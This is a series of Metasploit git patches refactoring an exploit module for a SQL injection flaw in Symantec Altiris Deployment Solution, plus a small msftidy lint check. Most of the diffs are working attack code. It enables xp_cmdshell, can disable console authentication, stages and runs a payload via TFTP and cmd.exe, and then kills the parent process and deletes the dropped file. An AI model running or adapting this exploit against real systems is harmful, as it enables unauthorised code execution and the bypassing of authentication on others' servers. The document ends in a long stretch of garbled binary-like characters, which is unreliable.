client.sys.process.kill(proc['ppid']) + return if not payload_exe + #can't scrub dropped payload while the process is still active so... + #iterate through process list, find our process and the associated parent process ID, Kill the parent + client.core.use("stdapi") + client.console.run_single("run migrate -f") + client.sys.process.get_processes().each do |proc| + if proc['pid'] == client.sys.process.open.pid + client.sys.process.kill(proc['ppid']) + end end - end - wintemp = client.fs.file.expand_path("%TEMP%") - windir = client.fs.file.expand_path("%WINDIR%") - delete_me = "#{wintemp}\\#{payload_exe}" - cmd = "#{windir}\\system32\\attrib.exe -r -h -s " + delete_me - client.sys.process.execute(cmd, nil, {'Hidden' => true }) - print_warning("Attempting to delete #{delete_me} ...") + wintemp = client.fs.file.expand_path("%TEMP%") + windir = client.fs.file.expand_path("%WINDIR%") + delete_me = "#{wintemp}\\#{payload_exe}" + cmd = "#{windir}\\system32\\attrib.exe -r -h -s " + delete_me + client.sys.process.execute(cmd, nil, {'Hidden' => true }) + print_warning("Attempting to delete #{delete_me} ...") - begin - register_file_for_cleanup("#{delete_me}") - rescue ::Exception => e + begin + register_file_for_cleanup("#{delete_me}") + rescue ::Exception => e + print_error("Exception: #{e.inspect}") + return + end + + rescue ::Exception => e print_error("Exception: #{e.inspect}") - return - end - rescue ::Exception => e - print_error("Exception: #{e.inspect}") end + end From c2662d28e038af0cc0d6ac7c72f5e8c45176b1a2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 7 Nov 2013 17:34:22 -0600 Subject: [PATCH 404/409] Move module to the misc folder --- modules/exploits/windows/{mssql => misc}/altiris_ds_sqli.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/windows/{mssql => misc}/altiris_ds_sqli.rb (100%) diff --git a/modules/exploits/windows/mssql/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb similarity index 100% rename from modules/exploits/windows/mssql/altiris_ds_sqli.rb rename to modules/exploits/windows/misc/altiris_ds_sqli.rb From aa1000df72655970b15d5a2694ee9558de7e1403 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 7 Nov 2013 17:44:22 -0600 Subject: [PATCH 405/409] Clean check method --- .../exploits/windows/misc/altiris_ds_sqli.rb | 93 ++++++++----------- 1 file changed, 40 insertions(+), 53 deletions(-) diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index 813f0e36f7..bdd9201933 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -93,58 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote end end - def check - - fingerprint = fingerprint_altiris - - if fingerprint =~ /^6\.(\d+)\.(\d+)$/ - print_status "#{rhost}:#{rport} - Altiris DS Version '#{fingerprint}'" - minor = $1.to_i - build = $2.to_i - if minor == 8 and build < 390 - if build == 206 || build == 282 || build == 378 - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Appears - end - elsif minor == 9 and build < 176 - #The existence of versions matching this profile is a possibility... none were observed in the wild though - #as such, we're basing confidence off of Symantec's vulnerability bulletin. - return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Safe - end - else - print_status "#{rhost}:#{rport} - This version isn't exploitable: #{fingerprint}" - return Exploit::CheckCode::Safe - end - - end - - def fingerprint_altiris - response = send_update_computer("2659") - - if(response) - result_regex = /Result=(.*)/ - result_response = result_regex.match(response) - if result_response[1] == "Success" - version_regex = /DSVersion=(.*)/ - altiris_version = version_regex.match(response) - return "#{altiris_version[1]}" - else - return "unexpected \"UpdateComputer\" response: '#{result_response[1]}'" - end - else - return "No response received, possible congestion issue..." - end - end - - def exploit - windows_stager - end - def send_update_computer(processor_speed) - notification = %Q|Request=UpdateComputer OS-Bit=32 CPU-Arch=x86 @@ -160,7 +109,7 @@ Agent-Settings=Same Sys-Info-TimeZoneBias=0 Processor=Genuine Intel Intel(R) Core(TM) i7 CPU M 620 @ 2.67GHz Processor-Speed=#{processor_speed} -\x00 + \x00 | connect @@ -169,9 +118,47 @@ Processor-Speed=#{processor_speed} disconnect return response - end + def check + + res = send_update_computer("2659") + + unless res and res =~ /Result=Success/ and res=~ /DSVersion=(.*)/ + return Exploit::CheckCode::Unknown + end + + version = $1 + + unless version =~ /^6\.(\d+)\.(\d+)$/ + return Exploit::CheckCode::Safe + end + + print_status "#{rhost}:#{rport} - Altiris DS Version '#{version}'" + + minor = $1.to_i + build = $2.to_i + + if minor == 8 + if build == 206 || build == 282 || build == 378 + return Exploit::CheckCode::Vulnerable + elsif build < 390 + return Exploit::CheckCode::Appears + end + elsif minor == 9 and build < 176 + #The existence of versions matching this profile is a possibility... none were observed in the wild though + #as such, we're basing confidence off of Symantec's vulnerability bulletin. + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe + + end + + def exploit + windows_stager + end + def on_new_session(client) return if not payload_exe From 9f51268d210f77b035944cab0b367fb3b7966475 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 7 Nov 2013 17:53:28 -0600 Subject: [PATCH 406/409] Make xp_shell_enable instance variable --- .../exploits/windows/misc/altiris_ds_sqli.rb | 26 +++++++------------ 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index bdd9201933..19fabef500 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -58,30 +58,22 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(402), - OptBool.new('XP_CMDSHELL', [ false, "Enable xp_cmdshell prior to exploit", true]), - OptBool.new('DISABLE_SECURITY', [ false, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]), - OptBool.new('ENABLE_SECURITY', [ false, "Enable Local Deployment Console Authentication", false ]) + OptBool.new('XP_CMDSHELL', [ true, "Enable xp_cmdshell prior to exploit", true]), + OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]), + OptBool.new('ENABLE_SECURITY', [ true, "Enable Local Deployment Console Authentication", false ]) ], self.class) end - def windows_stager - # CmdStagerVBS was tested here as well, however delivery took roughly - # 30 minutes and required sending almost 350 notification messages. - # size constraint requirement for SQLi is: linemax => 393 - execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'}) - end - def execute_command(cmd, opts = {}) - xp_shell_enable = datastore['XP_CMDSHELL'] inject=[] - if xp_shell_enable == true + if @xp_shell_enable == true inject+=[ "#{Rex::Text.to_hex("sp_configure \"show advanced options\", 1; reconfigure",'')}", "#{Rex::Text.to_hex("sp_configure \"xp_cmdshell\", 1; reconfigure",'')}", ] - xp_shell_enable = false + @xp_shell_enable = false end inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"] if datastore['DISABLE_SECURITY'] == true @@ -121,7 +113,6 @@ Processor-Speed=#{processor_speed} end def check - res = send_update_computer("2659") unless res and res =~ /Result=Success/ and res=~ /DSVersion=(.*)/ @@ -152,11 +143,14 @@ Processor-Speed=#{processor_speed} end return Exploit::CheckCode::Safe - end def exploit - windows_stager + @xp_shell_enable = datastore['XP_CMDSHELL'] + # CmdStagerVBS was tested here as well, however delivery took roughly + # 30 minutes and required sending almost 350 notification messages. + # size constraint requirement for SQLi is: linemax => 393 + execute_cmdstager({ :delay => 1.5, :temp => '%TEMP%\\'}) end def on_new_session(client) From 69b261a9f29fc499423eb3cb33f795519137f911 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 7 Nov 2013 18:11:54 -0600 Subject: [PATCH 407/409] Clean post exploitation code --- .../exploits/windows/misc/altiris_ds_sqli.rb | 44 ++++++++++--------- 1 file changed, 24 insertions(+), 20 deletions(-) diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index 19fabef500..a04e3ef75d 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::Tcp - include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, @@ -154,34 +153,39 @@ Processor-Speed=#{processor_speed} end def on_new_session(client) - return if not payload_exe + #can't scrub dropped payload while the process is still active so... - #iterate through process list, find our process and the associated parent process ID, Kill the parent - client.core.use("stdapi") + #iterate through process list, find our process and the associated + #parent process ID, Kill the parent. + #This module doesn't use FileDropper because of timing issues when + #using migrate -f and FileDropper. On the other hand PrependMigrate + #has been avoided because of issues with reverse_https payload + #SeeRM#8365 https://http://dev.metasploit.com/redmine/issues/8365 + + unless client.type == "meterpreter" + print_error("Automatic cleanup only available with meterpreter, please delete #{payload_exe} manually") + return + end + + client.core.use("stdapi") unless client.ext.aliases.include?("stdapi") + # migrate + print_status("Migrating ...") client.console.run_single("run migrate -f") + # kill the parent process so the payload can hopefully be dropped + print_status("Kill parent process ...") client.sys.process.get_processes().each do |proc| if proc['pid'] == client.sys.process.open.pid client.sys.process.kill(proc['ppid']) end end - wintemp = client.fs.file.expand_path("%TEMP%") - windir = client.fs.file.expand_path("%WINDIR%") - delete_me = "#{wintemp}\\#{payload_exe}" - cmd = "#{windir}\\system32\\attrib.exe -r -h -s " + delete_me - client.sys.process.execute(cmd, nil, {'Hidden' => true }) - print_warning("Attempting to delete #{delete_me} ...") - - begin - register_file_for_cleanup("#{delete_me}") - rescue ::Exception => e - print_error("Exception: #{e.inspect}") - return - end - - rescue ::Exception => e - print_error("Exception: #{e.inspect}") + win_temp = client.fs.file.expand_path("%TEMP%") + win_file = "#{win_temp}\\#{payload_exe}" + print_status("Attempting to delete #{win_file} ...") + client.shell_command_token(%Q|attrib.exe -r #{win_file}|) + client.fs.file.rm(win_file) + print_good("Deleted #{win_file}") end end From fddb69edb3baab97087504cf487b09cff83e8c60 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 8 Nov 2013 08:30:35 -0600 Subject: [PATCH 408/409] Use instance variables for 1-time injections --- .../exploits/windows/misc/altiris_ds_sqli.rb | 32 +++++++++++++------ 1 file changed, 22 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index a04e3ef75d..a249508651 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -14,14 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Symantec Altiris DS SQLi 6.8 - 6.9.164', + 'Name' => 'Symantec Altiris DS SQL Injection', 'Description' => %q{ - This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution. The - vulnerability exists on axengine.exe which fails to adequately sanitize numeric input - fields in "UpdateComputer" notification Requests. In order to spawn a shell, several SQL - injections are required in close succession, first to enable xp_cmdshell, then retrieve - the payload via TFTP and finally execute it. The module also has the capability to disable - or enable local application authentication. + This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution 6.8 + to 6.9.164. The vulnerability exists on axengine.exe which fails to adequately sanitize + numeric input fields in "UpdateComputer" notification Requests. In order to spawn a shell, + several SQL injections are required in close succession, first to enable xp_cmdshell, then + retrieve the payload via TFTP and finally execute it. The module also has the capability + to disable or enable local application authentication. In order to work the target system + must have a tftp client available. }, 'Author' => [ @@ -67,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote def execute_command(cmd, opts = {}) inject=[] - if @xp_shell_enable == true + if @xp_shell_enable inject+=[ "#{Rex::Text.to_hex("sp_configure \"show advanced options\", 1; reconfigure",'')}", "#{Rex::Text.to_hex("sp_configure \"xp_cmdshell\", 1; reconfigure",'')}", @@ -75,8 +76,16 @@ class Metasploit3 < Msf::Exploit::Remote @xp_shell_enable = false end - inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"] if datastore['DISABLE_SECURITY'] == true - inject+=["#{Rex::Text.to_hex("wc_upd_enable_security",'')}"] if datastore['ENABLE_SECURITY'] == true + if @wc_disable_security + inject+=["#{Rex::Text.to_hex("wc_upd_disable_security",'')}"] + @wc_disable_security = false + end + + if @wc_enable_security + inject+=["#{Rex::Text.to_hex("wc_upd_enable_security",'')}"] + @wc_enable_security = false + end + inject+=["#{Rex::Text.to_hex("master.dbo.xp_cmdshell \'cd %TEMP% && cmd.exe /c #{cmd}\'",'')}"] if cmd != nil inject.each do |sqli| @@ -145,7 +154,10 @@ Processor-Speed=#{processor_speed} end def exploit + @wc_disable_security = datastore['DISABLE_SECURITY'] + @wc_enable_security = datastore['ENABLE_SECURITY'] @xp_shell_enable = datastore['XP_CMDSHELL'] + # CmdStagerVBS was tested here as well, however delivery took roughly # 30 minutes and required sending almost 350 notification messages. # size constraint requirement for SQLi is: linemax => 393 From 2572d8daaddaf9ba794ba4cb973a0545cf027482 Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 8 Nov 2013 16:11:48 -0600 Subject: [PATCH 409/409] Add #! check to msftidy --- tools/msftidy.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 1fdad36b3c..e511ba1707 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -84,6 +84,12 @@ class Msftidy end end + def check_shebang + if @source =~ /^#!/ + warn("Module should not have a #! line") + end + end + def check_ref_identifiers in_super = false in_refs = false @@ -444,6 +450,7 @@ end def run_checks(full_filepath) tidy = Msftidy.new(full_filepath) tidy.check_mode + tidy.check_shebang tidy.check_ref_identifiers tidy.check_old_keywords tidy.check_verbose_option

    sN6_{;N{mHuJJB2@KV*-|ZBSz2pyp;Y*N)Ze-rNt#+AXMC6~9ooLf`W2p8|!y#KFeh z2!w9OX7S}={Llu9eMALp#c0g@hBV5ORvEmNnkBdRC@~inUV~tzFn^C2!pm_wwL6X4 zO?0tI1<~2xe*Bf6jEa$uC7ztkX@En=j9lAl@fY2t$~=77(lcL3M%WIQ|4+L19&pc8 z`h;n^{|oI^VF_)OX1cBNko!TPt@sq*Du>h%sv=xyki#pFgvzifD2Am^INA=a_1uY< zF%EGBLf9rxf$7FLnCf-}WlK(LIfAj&b4_-3fRJDq8rsj>2a}voN~H!;-FVHELnBjp ziLM>gQIItEUKWo*FY)|u!`4lRXjjyFK-2_N4uoB>7;ahkH#<(4o!7 zuzo+zH^k&2FpmxlEnGrHM!JC1mLLQ0w#m+RsPoLMWwOXdt#ro{5a=#nq2;Hx7T$mh zyo7i~tnZMmwgjaY?<~$NXx{oFf<3@Z{gxj7;9Z^{IUTkZ zA2*<DR748|9^~K3tUvi{$G||Sap@vuuxFZOi{_8%vV;ZEucj$C`;PA%+|g3 zxW$TAsCnep@%+~wW*>X~@2xbu`O18RpyewUwa}~^K8Ua|$GhakGC(o*&hIzpG3V?q zUi|>)ocYeocOJia{^mDTMU-)KDB!HJ;%+A$-h2h;t>r`FJ?Yd;IV8^PEwvntw3n4a z3Nh@{qhJ^X=V^BOg}?o%*i%}DqsNKCUj92n!Uc0lf7~ZRrIr=wG>eW;(#Y*UC_5fE zgJ~o*!^DDdc~eQkC1uFePn>I^Q#3jrTE07B>k-kF0$ZLgo0tLnp}F>OcAuRCc9Vcz zVFT)~;+<#*pvUfu+NTb2pHymRvC-*O@J?{A<_Jvm&ZZPUs%3p8*kb`h5k3c57gTs* zyHJC3>3XjR@pBnIC*gBY()pTQN1No0l?oH-IF@X0*DT0Qg6+TJVWw5d zk~Id`Rj^qXXaoQM?jeVR$s}W&tlsF`k7LnKnS~8JJZ{{;*xUqJkUbLZSRU4N)C+B7 zWV>c#dlIfmP!>sIwgW6SXD5OQ=ja@ac{5n%HIPq#JFrlr65k z|AE-tH_FEGWi8#&lT`79!m`F_1w5YiacLxQT&aTtGIth)#S|m%hKN=%yH)%?K%qV0 zv_sP$aKdtm>Ao{?0A8ztBaqL&5mqK;4QK_xAr{s{?^Bv2<>cDPn1oNIm-MMX;c%M2uQOyS2L`&RqJFb-Dd?3H8#1)*WLb z97A0Z8g0n$Jll8!n^1}3A=n+uYXXk6F3?JmmlSZKhLn`oB<6v=MiG|9&Oa~>A_b#N znugL%XCdKV-ykQv9ukf>3SgkMQelc%cvQ-xiTVy!&@th!=CrAc9zIZc^W36Kz!Nk9 zeOLm}PMf@_Qx+;7iGq-yqg|{y2)yTpd9ORF4CcX}b7qKE$P}!;J#)0nd|@xsQ$YO& z`)4*wPAHt~kYH1`Qjhv;BPBlg1uXbr29()%Vqpp`LY8e-7o~%XMwSezO(z+8GFFw$43121B(pYCPiCo8M`oFh%%f2L zQOQ^pGVK?2WMoPFIEej!CN48eW+@By>w3s~3I*8P;RSd8(v$v8FVh&e!4AOhD+A6G zsWYE^dS<}+W2%Y%J~q~rxs&aDzM<`Wt|!g1b{+I_Rv{3lDrzmGPX6cPyMSZB?DA~X z(o{q;=!g`moxRBKJPAq{6R|yH8ztqpF|9`EsZv}Nae^W~xJ^OOaoHOT0dB{r+l#l! z#{>AoFf_FjY*L~e)8piL)P@qV9VTb?5d^S&DlL;iignYxL?=+%{4j0 z&K3k=qNUo9IYvw3%zl(5dEgS-A}{euaiwXJ%T{)T_P)i*a({My3tQ`@A`m*lI-e(V zf_u@hj1TTnPEkV_T0_OT!XcO$+!Z_p8=N_E6z?celwL>ax*RNulX4WV8lnJ&$6a5* z5s_d#jUbi=sTh~(&Lt&bab_r_zwlv-i#&4%^2T}{t2VTz9$|aiL(JSDAvhj39J>mw zX5S!bLZVO~6TC&5oG4c9A~yPh1!!IPbxbgJ;i-0Ua$*qo=EreCck~OPSi$2sh5jbqPveAvG77j(80mQCO z!&w{t!X0!%exEG8_oC;s*IG?NC44vex{&@|XcH&En}olo-@}hYhN6${)Q8vQuY^<= zd6P)SZ_R46iUF%_iPi*%HYL^UgD`2m*;V=xKc>TIhA;EFWJ`8ka`%OgOP}= zHnw4HxZ86O23MZWnfe<V-2b$^q3$3d!9aieytC+V}@?i(m z+xh ziDP!ppQN}>=UivdxnLR@j|u=uexdpm=p6mR8{io7?ez<9Bg{%FzG1^Zu(B<=p*6-S z-6L>VCN&?-aXAWzIF5Bxb0yS>fF8y36c^hpjP2X%woq`>K2$1B_}sL3XK^mf?dbIS zn;(?9olUwEuBHw4gknk;&(M(WOp_bZ zsY*jin}jRCY0oNf5*~!6b5k1asm3(PW5MrhF)B&8m%91ifDM^3hh?`4=H|Ht8>V%b zw0_>sWY)=MWpiG)6p%zd{0Y~;(opBzP3E%Wk^-^Nicm6Gs)R^zh$&E)>C=i_WKLak z=>E_qa3BXxV0^}Xf0~FpG2HsWR+FbTh9}dB)Y3LFAlyy;gEvqiD1U*v`8QQih?_Li z@I_3xJoJ_XNI&}oGsSoA#vSKs#NDgnx-*;=GDQ9kw{wFpvb(Ms=akFl(zgPSbt|f7fc~#_&u{3?)~njxy+;<4cA1x(3nBHAyRM>(%vwL z&alf4!)ojDujuc9Fje*$5M1(;*Woq!mlNt*ATF<>e@H8h%rA_txfl}5;5$t&#foL$ zu~U^|0O?8y7TWE_ss8L1T2ynA;68W!>L!VGtcKugwh(X#?Ww*auyjp(smG2%?z`mN z$FU^sN2j{IJ^TXX4lRcn^pBg=(JDPt_`pkFS^!pw2`?V1Gs`f2!$(8R1hmnPemNYmNk)d*1fUh~i zZif&`^?jG0?*SDnIo;$&I;{%Vcuym1>Y$q5JW%QJ+~nC-*>bHpVKE#sqs@P@GdH0u z2UfI~K{hb8S~u~vLTiBP5#-V1FvelIw2dYPMlBOqNCBrEH^ZjseUIXN52n6VSMYi* z=h&GG`hGd+(=AHSAVG92Ez$<`H+7JH1}?nASiWfq$xFq1e$>h_a8wJjiyY+ZEg`hg zNdt31P~=+W)cAZi233Sd^8vcPMQ#QYzQ?SuV5+sn8Bkx2aPd6A#q$BfW*!N4s*raj zck8tKNb(QR9c&x`CLCAPfC)!#Z#spTz zh6i3~Oo1lvfm$GVuD@a;gN~YShB`RkS`L3){w=K_?P!b%2JB_$u{}$|is~k>(J7UL z-}HBk+c4O-`g4{yAc#fWNFB%V^(O%LbpNpF5Gik0&B4lHZboc2U^h+GSwI_mi@_?D zh|pvXin!5f2CGyLA@2871xI%DF<7O#6%pU0Y9ZOkE2&0XUcC^t22qJR8-;(r*+A{= zaeyx5pon{Suz}h>#NDmp$N(d?m53P0g=8at^fTJ>nvW<4qB3;0yevj)QxJNpp9V#o z*+^{|;&!Mw@?wgCS|>!j&4pwm)5EC!d<;-NM6J*j=&W%DYUK!>%s~4b)E80CXM)Mcf+$4b;9sT)v7U$wq4LBH}tOBr0SnMrtL9 z>V&8)U0wTgjDgx62(3%eponX`+CXg};ctpwXYCyKNk`evSeefeTb;hh-%eQOE*$fy>pN#P47Rtwr%sQ zZQHi(J!{*xZQHhO8)t3%x6k{>t^2L&>FMsIGnI6vW@;w=i6>mX4hO|S2v)g_z*hOr zuX=40{4~gjo*q{Jsb|xq5avHj=maXb7(1WyoKfriF>wp~9G{A7{4tSv>}|TAXRC+# z?5HSg)~&9NZO1xtC=1D8flaot?I|CYPPj1-T|9JjA!NY5f4eN@4x7;E5Z)VDgL)YG)JYo=8nkFy@2nkVHv}?^cD+8r z!_{`8e9a-{qw8jnue?FAl%`vObl!MM{+v|7%dteB`EJ}#zF*|N59*fp$gwx@+_QvZCL}_5DmAr#77(v}lT&^) z3n?)0n?2#e-?w!`7Cp1E7WtIXCY<|cM-A0g)EK(@yi)Z-=tAXpM8Av^-3Y_4jo+0d zj&rS*tVem>Fp2C4Cn#1{LlV2m#=CX_T@we6@?#xBp^)`vS&fKzzwL>EFuiymE0G(R zUh92~c!-sBNjWA6f>0a>D$`YoDjcq5H9PP~cY@{4b&L)@4-T%YORQxh#3 zEonQw%5S}biWv45^^1o(tF?3wexjLk!1mh;LYFjW;k zcBaQeWaqIuMyazu)af@K?8MlhJzmA&hOMJ6+dX@{Wc`SwwWB~-^9Hr*OLV7cgc1oO zLd}jI3xN7AqpGLsRf1NWldU+(yT4A^gZEuU9FQHq$F)t2Ak8Y4s5KKjeicexky1T> z%*rZl3!cW(t}_wbU~l!<;W{gj_fbgREe-*iivSa1l5h=WwuD*Zr3nHO}#-fz1AfA(sjw#Zpx`fO32V3 zBq9VVdL*UcWLNi@59(+l_ece8qv!+9=!Zvkk9QNtqbUz>K07Rw@Wn<^*^0J%+J`Pj zi(5L|o~Sn3J%@AqM@DByu?4$wC^wobH2+m8Q49IuWJiO8ch*WuGgci@?JsVw;nflu zT*NML$nOmnp#F}s15GoO)n)36Et&b@WhAniQg(aqbm(E6X!>eTD`2;8Vx(S1;bp^L)JsnL|4BhQPrbNf^r5KF0@><*wf9f+!v_W=E<0%c>N3jpW%J=8kkJKp z-3ruGqV;8q;h=7kI`|sY6|TUg;KcS&BB+sZveaJ8uR0gB#As;HbZC1fXB{z6_9XWe z5wU%hm82Q!cC^yeJBClk=gz5!k$C^DM6DGUQJWV!0uE029*t-~#s64T>&wupqiNAr z=gHDD-2)GxKWT@Rz&ARZgB&M+n)zyFZqq3%EGtIAhT5%Sz zLY8OOiRQHsS?bo%|2zJmMi;FK&q=j6aDQ{9rAxKTXZGGg+(*>|*w2rLxM4<;Re^A% z#iJJqc!60go8VQ2kei!#vSWU+XGVAQAr~o>$jsd315YqPo8zzgr@lUpuafZ_RQC?Z zjG*SbQgzDfU>S-{A9aUj5^U9jl1kO2Db=-Ln4f=TD9+7m?0QQ6gOeC6sA*VT;ycO5 zHs#%Yz%uT@+M#MRBvQvKUF$%>_sXy3Dirf*|b`k!@n(g+{M_3MEx;l$d| z=kg`smGQt~V}352S))^{ISa2_-8YvvLMU>2b+{&<3TrT`Lq**{cDykOdugQmZieeP zs`zZI8LKgJxDiY$c?~A6Wp*eb&k3$T(}meeShK?>AoUL1g(S-uO#nIz(6|y5fRATt z8->$Pvu3gyhfN&Hm(+sP_5Q%y`wH5Z%|A_Bv)@dT*P9YTq%FP-3hCE#X&a~|mzy{@ z))SAR@X;!ys&Xp@aodqS+*K7Ix5Z3x&Fy2^;wu5hyIm;BmlPzOyC})lGC>|X#H$yj z6zfqx>DIXK_lynX&c?f&CGj@ak(#xs$^h#q$i1q1zrTSslf`GwEM4@jl*(NJAAKv6 z8d>b<1EQ=Fr~UJH(b{wPWbhy;M_1?abzIiq=u8`@aIE-9cjaT6a}V+}3UO(wzHI+e zr|~)F+sle;#Imj{q5>R)G65E31K*$E z!Zrb$OjDLJD#tvQM}qSTM0hrK6D<%h`1CFTN2{9*z?EO2zcvb`T^wKjJ+aGE_uW;+nAXjaUT9 zm=xCSY|ai^vg&g72Jl^B1D3ute=fx(_Hpv+;`=EeKE4O_)Yh6wQ#kB0W!B&#>oQ|d zvw@?9*Ro4-h692-rK*_r8gR^EtwkyoS>Q7}hw7L1XB`y=OOP!0ZZH)FO_kUU57Qu> zt!ORn)(S!_p3C-mJYe8JV1`V1RRnd&TzZc43tGG%Si5TEWYKVgVoU0-Vqt#cI(NL` zy=hY2hb%Y6Y>4Zuq-;TGKfB7>t+yi*94O8*8a5S16d%q`TWtisAu#=chBhAgijyP; zFA%JYK`$ifSh>dyrb=wv;?Jn$hq=PdE6HgTG(!I6TG!dhgRKT|rf{ocWD4y0SVKeg zeg_#vaQ%Dh?2fp^b%Zu`q7QlT#iy@69r@hOQMHuN^hzu~mVa-~jlf&z_QH`W$H@lwDGD4LghDF2JseE!&uSA@!OBp;PLhkI1d4=9QX&p&;^I-`jQvJ$v&qL&~X+Ov}&Tg$$==6a*i`~(fU>D=@+hMr!h6{El9ObIzR9H+HFX#Y0iM&*v~ShdfxGaEOW zF4_K)@Z7v{_nN(EJZ|OeKEPYdqRXy7T+ABHQbBp>`k?XDj@`V$Z9M$@C^>h>JbRN% zeB%M1DKMk#J%QYKNDk(~PQ0Byse9=w8uZGg5%P@P@c5Y#)-wGZY9~e~iMbRPxM`F^ z78`jHxT*cqtVks9wcgpAYexny3v{bPmHsz0P@n z@Ci7i?e5T}n!L}j|7h(Ox~-%K{IxYHT#~j(!$Y7e9F8y7_?3~_;bhyAo$6z;E?4%C zVhQ2-ORj(d9VLQutjrR=g2K()okqll9azCN1=;zBTwz%}@mm32UAPB2DogV`3X7d- zL5=U3FY2-s=(eu(oCndVRqheA#}e7;w(=bItm+(J@2fND*YZ+8N-2_D{4Srb;m~>G z%2!ms(mt8!EG8d=;|jd_Ju?g`QmKm<$V1s@!BF`fFn#QE*&q2R;lzs(t6A{U$5AU6 zFR5{ck9QD^~)|_dkUTKcLFA&++$;AcIa5j)~X;%YbFt@F!O&aX^$ch~~NgC$@4@A* zF_?EG?tE@|+5#Rd99Sb`GF`aO&qvBQzqgAvQA59x_567fa*QY>GDUX6 zy_$*a8UD!2E!*_k5E4CFLD0**$D65>C(X}}x}wJ78j56nbs zIkX64#%^HzEr?>vh@#=E)e~&{X0UPK$<11F#LMZFXb4kqxv;*>DZbpeU!OmcobGJq z=rf$T`fHV%93S@+zV-INY?XL20sHM-R#d)imB*1=<5I;eObmScehu;1Be&d zzN4|b<*e;tT%hqy_`e-uN%vpKNXMI_Fyb$dZ5J%j#jf4y-sPH}uQV4}yNa#bY3IM@ zCKs;L)#e+;dR_T9SEn6mp_#%D?+WQd$DsR+_e1KCaQ2!mH@tN>Uu8#MQ%}x57PZJWdT{s@I2EBA zO*ex}zymlODId+h*!LdJ2;ZZfy(+u83%mU&_moz7?Whxbb}}(78UWC@;QK0VobFb8 z$M*J_AtD-&tgTs{ziN<`Uo|f1-}dr@)3*SPzed~(AMnU~e*(T!;XBAi)bK>1Z;P^K z*BLF`ZaG$RZ$?2}^OBnNvN9MGN5Es_U-aNGXEHwbxEcwbLQksKnO%5tb7caH2qoRl z?xb1eH3-YP5R?@lGISt1iV&RK3BzbWbW|WR)F3MUfK1bYu%HH@{T40$qpa*t6oJRA zEbV$CwXAF^-2^J#9IA%)1C{oJF75h1YFW8dtj7_N4#UHbJo8yyM{+fsDv&TH7sN;3 zvwAq98Re4+_6hE!*WyniV};}YcCmKGrO|EHe{qSG7koII;Jd@u>;b1!w!TSUQ2ShM z+74?mH*XH86lsc`HCud=Sd!I}kH;+Sm2TUK3Op-r{5he05H91sOXsd}LYU*R`hwnxS2! zkr6mqzzO)M$=ZhVp9o0|HsilT?`)`RrOb1=I(XLSLc#&HZy!EN+|3Yj;%x1($ad{^ zqx;vw8%VZ!Q}ttB&S_3;ZlHVmY&WDQM!-<{aZ4j-8(jAd| zFbs1u;}lILc6(;(b)zDmxplb-U+eONhKhGkaKk*O{zFvZFYRviYKNb@#(CdR;%L%c z$nYVVR|~8er~!zD0_vdnY{jfk#rw1iVG6BodOt`pAVf1@KCKdOhwu z-couTFRkv^-NBryCI zT{v7r@Dv$)m~U(HYP&SkaxXn14dKhtpHuX5G2UKgQm&#W>%4$Cg6IYobC;Rev((+5 zm3_3A`Zw`mI)^KIlv%n)8}#_0adh%Z${~@S@!!R_N?qMf%i%IGoaq7Um3PQ^w3>(| z>w(Y15TK(g^BOOM4>$v4-&ZAOiZ7LdR6?$5A7`^8gG8`??8#17?$!^7zNqe!r3;S) zvgpw@w7bfBaprbR!z z`+wxrSZg^7RZH%lc-a^zGduO+@xe|6Y@g{vkkSuD%6H%b1Z5=h&LJ&MxQ%t@0d z)o*CzE?2{t#cS@B68!tusxjjbZhKxEtTSi(Y%pAH`W&Y0pP1eLwA;4cHSub8Rrc$# zs5~wN3${00&d)7q85Ktq`A~_{TllD@_#y6GTGq7XH1~=YSb$gHm?v%gY6kotNL9#F 